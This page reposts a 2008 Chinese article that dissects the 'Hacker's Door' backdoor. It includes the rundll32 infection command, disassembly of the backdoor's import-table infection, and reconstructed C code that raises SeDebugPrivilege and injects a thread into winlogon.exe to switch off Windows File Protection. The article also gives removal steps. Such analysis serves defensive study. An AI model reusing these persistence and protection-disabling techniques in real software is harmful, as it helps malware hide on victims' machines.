分享
 
 
 

黑客之门原理解析

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

最近对后门产生了很浓厚的兴趣,上网与各位高手讨论的时候,有人提到了“黑客之门”很厉害,也算是推出来的比较成功的一个后门,于是上网下载了一个研究研究,顺便也学习学习其中的方法与技巧。不敢独享,分享于此,同时希望高手们指教。

“黑客之门”介绍

黑客之门采用的目前一些先进的后门技术,它只有一个Dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,因此它的隐藏性非常好,而且穿透防火墙也是很容易的事。这个版本文件不大,只提供一些很有用的命令。目前还没有发现如何工具能查到这个后门,象Fport,Llister,RKDetector等查工具都失效。

程序的自启动

既然是一个后门,那么就要随系统的启动而启动,根据黑客之门的介绍,它是通过感染系统程序文件来实现程序的自启动的。既然是感染了系统文件(像病毒),那就看看感染前和感染后的系统文件的区别吧!为了测试感染前后的差别,我准备了一个专门用来被感染的文件TestLoad.exe,它没有什么功能,只是弹出一个对话框,这样好等待测试,麻雀虽小,五脏俱全,省得动系统文件了。接着运行命令:

C:/>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2

使黑客之门感染TestLoad.exe,感染完毕后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差别。

被感染之前eXescpoe显示的TestLoad.exe的结构如图1所示:

图 1

感染之后的TestLoad.exe的结构如图2所示:

图2

可以看出感染之后的TestLoad.exe的引入表多了一个Hkdoordll.dll引入库。细心观察感染之后的TestLoad.exe的引入表地址(Import Table Address ITA)已经被改变,原来的ITA为0x000043FC,感染之后为0x0000477E。

为了进一步看清除感染前后的文件的变化,这里使用LordPE.exe比较感染前后的TestLoad.exe的引入表函数,比较结果如图3所示:

图3

小提示:使用LordPE.exe查看exe文件的引入表函数方法是:点击PE Edito打开相应的文件,接着点击Directories,弹出对话框后点击Import Table右边的三个点,这样就可以查看一个可执行文件的引入表了。

可以看出,只是在引入表链表中添加了一个相应的Hkdoordll.dll,这样当被感染的程序再次运行时,由系统的程序装载器搜索Hkdoordll.dll,并将其引用到被感染程序的地址空间,后门就运行起来了。黑客之门的这种子启动方式值得学习,比较灵巧。

搞明白了黑客之门的启动方式后,我们就可以手动清除它了,这里切不可将Hkdoordll.dll直接删除,这样可能直接导致系统崩溃。因为系统在加载被感染的程序(假如为Services.exe)时发现没有找到Hkdoordll.dll,Services.exe将不能被装载,如果被感染的是系统关键进程的话,那么系统将不能正确的启动。清除的时候我们可以去别的机器上(相同系统与补丁)找一个Services.exe,将被感染的程序命名为Services2.exe,将Services.exe拷贝到System32文件夹下,重启电脑,删除Hkdoordll.dll就清除黑客之门了。

运行时感染

上面说的是黑客之门的自启动方式,下面看看黑客之门是怎么感染正在运行的系统文件的,这一点让我晕了很久,最后发现是用了一个很灵活的小技巧。

我们知道在Windows系统下,正在运行的程序文件一般是不能修改或者删除的,正是由于这一点,才出现了各种程序运行时的自删除大法,程序自删除不是我们这次的重点。但是,细心的用户可能已经发现,在Windows 2000或Wndows XP系统下,我们可以对正在运行的EXE文件进行重命名或者移动。

再拿刚才的TestLoad.exe做测试,运行:

C:/>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2

可以发现TestLoad.exe所在的文件夹内多出了一个文件TestLoad.exe.bak,咋一看还以为“黑客之门”做好事,自动帮你备份一下系统文件,其实这可是黑客之门的狐狸尾巴啊!是它不得已而为之的。不要关闭TestLoad.exe,然后试着删除TestLoad.exe和TestLoad.exe.bak,是不是发现奇迹了?竟然把TestLoad.exe删掉了,而TestLoad.exe.bak竟然不让删,是不是和我刚才说的话矛盾?非也!非也!刚好证明了刚才的话:黑客之门先把TestLoad.exe改名为TestLoad.exe.bak,然后生成一个被感染的TestLoad.exe,这样,下次运行TestLoad.exe实际上是被替换过的程序,原来的程序则放在一边。

用IDA Pro反汇编Hkdoordll.dll可以发现以下函数的调用:

文件重命名:

.data:1000C618

lea

ecx, [esp+438h+FileName]

.data:1000C61F

lea

edx, [esp+438h+var_324]

.data:1000C626

push

ecx

.data:1000C627

push

edx

.data:1000C628

call

rename

拷贝文件:

.data:1000C66F

lea

edx, [esp+440h+var_32C]

.data:1000C676

push

0

; bFailIfExists

.data:1000C678

lea

eax, [esp+444h+var_228]

.data:1000C67F

push

edx

; lpNewFileName

.data:1000C680

push

eax

; lpExistingFileName

.data:1000C681

call

CopyFileA

移动文件:

.data:1000C795

mov

eax, [ebp+8]

.data:1000C798

test

eax, eax

.data:1000C79A

jnz

short loc_1000C7FE

.data:1000C79C

lea

ecx, [esp+448h+var_334]

.data:1000C7A3

push

5

; dwFlags

.data:1000C7A5

lea

edx, [esp+44Ch+var_230]

.data:1000C7AC

push

ecx

; lpNewFileName

.data:1000C7AD

push

edx

; lpExistingFileName

.data:1000C7AE

call

MoveFileExA

上面的语句实际上可以理解为:

MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”, MOVEFILE_DELAY_UNTIL_REBOOT| MOVEFILE_REPLACE_EXISTING);

小知识:MSDN中对MoveFileEx()函数的解释为:

BOOL MoveFileEx(

LPCTSTR lpExistingFileName, // pointer to the name of the existing file

LPCTSTR lpNewFileName,

// pointer to the new name for the file

DWORD dwFlags

// flag that specifies how to move file

);

这样进程TestLoad.exe的文件映象实际上为TestLoad.exe.bak,接着Hkdoordll.dll生成被感染的TestLoad.exe,并且保存在原来的文件路径上即可。

灭掉系统文件保护

一旦系统启动了,Windows系统就开始加载已经被感染的系统程序,但是由于“黑客之门”是通过感染系统程序实现自启动的,这下子又遇到了另外一个问题。

大家都知道,在Windows 2000和Windows XP中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。这样就导致了一个问题, TestLoad.exe只是一个普通的EXE文件,而不是受系统文件保护系统保护的系统进程,那为什么黑客之门修改系统进程时,操作系统的文件的文件保护系统不会提醒呢?

这一点,还是采用反汇编黑客之门的方法,观察它是怎样关闭系统文件保护功能的。

发现如下的代码:

.data:1000BBB0 LoadSFCDLL proc near

; CODE XREF: sub_1000BC70+B7

.data:1000BBB0

push

esi

.data:1000BBB1

xor

esi, esi

.data:1000BBB3

call

GetVersion ; Get current version number of Windows

.data:1000BBB3

; and information about the operating system platform

.data:1000BBB9

cmp

al, 5

.data:1000BBBB

jnz

short loc_1000BBDF

.data:1000BBBD

xor

ecx, ecx ;此时为Windows2000系统

.data:1000BBBF

mov

cl, ah

.data:1000BBC1

test

cl, cl

.data:1000BBC3

jnz

short loc_1000BBD2

.data:1000BBC5

push

offset aSfc_dll ; lpLibFileName

.data:1000BBCA

call

LoadLibraryA ;此时为WindowsXP系统

.data:1000BBD0

pop

esi

.data:1000BBD1

retn

.data:1000BBD2 loc_1000BBD2:

; CODE XREF: LoadSFCDLL+13 j

.data:1000BBD2

push

offset aSfc_os_dll ; lpLibFileName

.data:1000BBD7

call

LoadLibraryA

.data:1000BBDD

pop

esi

.data:1000BBDE

retn

上面的代码可以看出,Hkdoordll.dll根据操作系统的版本调用了Sfc.dll或者Sfc_os.dll,如果是Windows 2000(Windows NT 5.0)的话,装载Sfc.dll;如果是Windows XP(Windows NT 5.1)的话,装载Sfc_os.dll。再看下面的一段反汇编代码:

sub

esp, 228h

.data:1000BC76

lea

eax, [esp+228h+hObject]

.data:1000BC7A

push

ebx

.data:1000BC7B

push

esi

.data:1000BC7C

push

edi

.data:1000BC7D

push

offset aWinlogon_exe ; "winlogon.exe"

.data:1000BC82

push

0

.data:1000BC84

push

offset aDS

; "%d/%s"

.data:1000BC89

push

1Fh

.data:1000BC8B

mov

edi, ecx

.data:1000BC8D

push

eax

.data:1000BC8E

call

sub_10008C60

.data:1000BC93

add

esp, 14h

.data:1000BC96

lea

ecx, [esp+234h+hObject]

.data:1000BC9A

push

ecx

; lpMultiByteStr

.data:1000BC9B

call

sub_100016CC

//这个子函数就是用来得到进程ID

.data:1000BCA0

cmp

eax, 0FFFFFFFDhSFC

.data:1000BCA3

jb

short loc_1000BCDB

.data:1000BCA5

push

offset aCanTGetWinlogo ; "Can't get winlogon process id!/r/n"

上面的函数用来得到Winlogon.exe进程的ID,以便下面打开它注入代码:

.data:1000BCDB

push

eax

; dwProcessId

.data:1000BCDC

push

0

; bInheritHandle

.data:1000BCDE

push

1F0FFFh

; dwDesiredAccess

.data:1000BCE3

call

OpenProcess ;打开目标进程

.data:1000BCE9

mov

ebx, eax

.data:1000BCEB

test

ebx, ebx

.data:1000BCED

jnz

short loc_1000BD25

上面的汇编代码段是调用OpenProcess()函数打开Winlogon.exe进程。继续观察反汇编代码,发现下面的一段:

.data:1000BD25

mov ecx, edi

.data:1000BD27

call

LoadSFCDLL

.data:1000BD2C

mov esi, eax

.data:1000BD2E

test

esi, esi

.data:1000BD30

jnz

short loc_1000BD6F

.data:1000BD6F

push 2

;函数序号为2

.data:1000BD71

push esi

;SFC.dll的 hModule

.data:1000BD72

call

GetProcAddress ;得到SFC.dll中序数为2 的函数的地址

.data:1000BD78

test

eax, eax

.data:1000BD7A

mov

[edi+10h], eax

.data:1000BD7D

jnz

short loc_1000BDC3

可以发现上面的汇编代码用来得到以前装载的Sfc.dll(或Sfc_os.dll)中的序数为2的函数的地址。接着程序跳转到了Loc_1000BDC3,继续跟踪反汇编代码,发现以下一段:

.data:1000BDC3

push

eax

; 刚才得到的SFC.dll中函数的地址

.data:1000BDC4

push

ebx

; Winlogon.exe进程的句柄

.data:1000BDC5

mov

ecx, edi

.data:1000BDC7

call

sub_1000BBF0注意这里调用函数 sub_1000BBF0

.data:1000BDCC

push

esi

; hLibModule

.data:1000BDCD

mov

edi, eax

.data:1000BDCF

call

FreeLibrary

.data:1000BDD5

test

edi, edi

.data:1000BDD7

push

ebx

; hObject

跟进Sub_1000BBF0函数,Sub_1000BBF0函数:

入口参数:进程句柄、线程开始地址

.data:1000BBF0 sub_1000BBF0

proc near

; CODE XREF: sub_1000BC70+157 p

.data:1000BBF0

.data:1000BBF0 ThreadId

= dword ptr -1

.data:1000BBF0 hProcess

= dword ptr 7

.data:1000BBF0 lpStartAddress = dword ptr 0Bh

.data:1000BBF0

.data:1000BBF0

push

ecx

.data:1000BBF1

mov

ecx, [esp+1+lpStartAddress]

.data:1000BBF5

mov

edx, [esp+1+hProcess]

.data:1000BBF9

lea

eax, [esp+1+ThreadId]

.data:1000BBFD

push

esi

.data:1000BBFE

push

eax

; lpThreadId

.data:1000BBFF

push

0

; dwCreationFlags

.data:1000BC01

push

0

; lpParameter

.data:1000BC03

push

ecx

; SFC.dll中第二个函数的函数地址

.data:1000BC04

push

0

; dwStackSize

.data:1000BC06

push

0

; lpThreadAttributes

.data:1000BC08

push

edx

; 以前打开的winlogon.exe进程的句柄

.data:1000BC09

mov

[esp+21h+ThreadId], 0

.data:1000BC11

call

CreateRemoteThread

;创建远线程

.data:1000BC17

mov

esi, eax

.data:1000BC19

test

esi, esi ;ESI保存刚才新创建的线程的句柄

.data:1000BC1B

jnz

short loc_1000BC3F

??????????????????????????????

.data:1000BC3F

.data:1000BC3F loc_1000BC3F:

; CODE XREF: sub_1000BBF0+2B j

.data:1000BC3F

push

0FA0h

; dwMilliseconds

.data:1000BC44

push

esi

; 新创建的线程的句柄

.data:1000BC45

call

WaitForSingleObject ;等待远程线程的结束

.data:1000BC4B

test

eax, eax

.data:1000BC4D

jz

short loc_1000BC5D

??????????????????????????????????

.data:1000BC5D

.data:1000BC5D loc_1000BC5D:

; CODE XREF: sub_1000BBF0+5D j

.data:1000BC5D

push

esi

; hObject

.data:1000BC5E

call

CloseHandle

.data:1000BC64

mov

eax, [esp+5+ThreadId]

.data:1000BC68

pop

esi

.data:1000BC69

pop

ecx

.data:1000BC6A

retn

8

.data:1000BC6A sub_1000BBF0

endp

上面的子函数功能很简单,就是在刚刚打开的Winlogon.exe进程中创建新的线程,新线程调用SFC.dll中的序号为2的输出函数,这样便关掉了系统文件的自我保护。

事实上,根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释,在Windows 2000(XP)系统下,执行系统文件保护的代码在Sfc.dll(XP在Sfc_os.dll)中,这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件,Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件,这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数,就能取消文件保护功能了,“黑客之门”采用的也正是这样的方法。

这里需要注意的是,要把进程注入到Winlogon.exe中,需要提升自身的权限到Debug权限。

HANDLE hToken;

LUID DebugNameValue;

TOKEN_PRIVILEGES Privileges;

DWORD dwRet;

OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);

LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);

Privileges.PrivilegeCount=1;

Privileges.Privileges[0].Luid=DebugNameValue;

Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),

NULL,&dwRet);

CloseHandle(hToken);

上面整个关闭系统文件保护功能的实现用C语言写下来如下所示:

/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/

DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);

HANDLE Process=OpenProcess(,FALSE,dwPid);

DWORD dwVersion;

HMODULE hSfc;

dwVersion = GetVersion();

//判断操作系统的类型

if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)

{

// Windows 2000/XP

if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000

hSfc = LoadLibrary("sfc.dll");

else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)

//Windows XP

hSfc = LoadLibrary("sfc_os.dll");

}

//得到函数的地址

FARPROC dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2));

DWORD dwThreadId;

HANDLE hThread;

//创建远线程

hThread =CreateRemoteThread(hProcess,0,0, /

(DWORD (__stdcall *) (void *)) dwAddress,0,0,&dwThreadId);

WaitForSingleObject(hThread,0x0FA0);

结束语

大概分析完了,刚开始拿到黑客之门的时候,还在想,它到底是怎样感染正在运行的系统文件的呢?原来以为是修改进程的句柄指向的进程的操作掩码完成的,为此我还翻阅了好多文档。结果通过对程序的反汇编学习,渐渐的发现黑客之门的程序编制的技巧。这里也要感谢“黑客之门”的作者,没有给它加壳,能让我们有幸能一睹优秀黑客工具的容颜

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有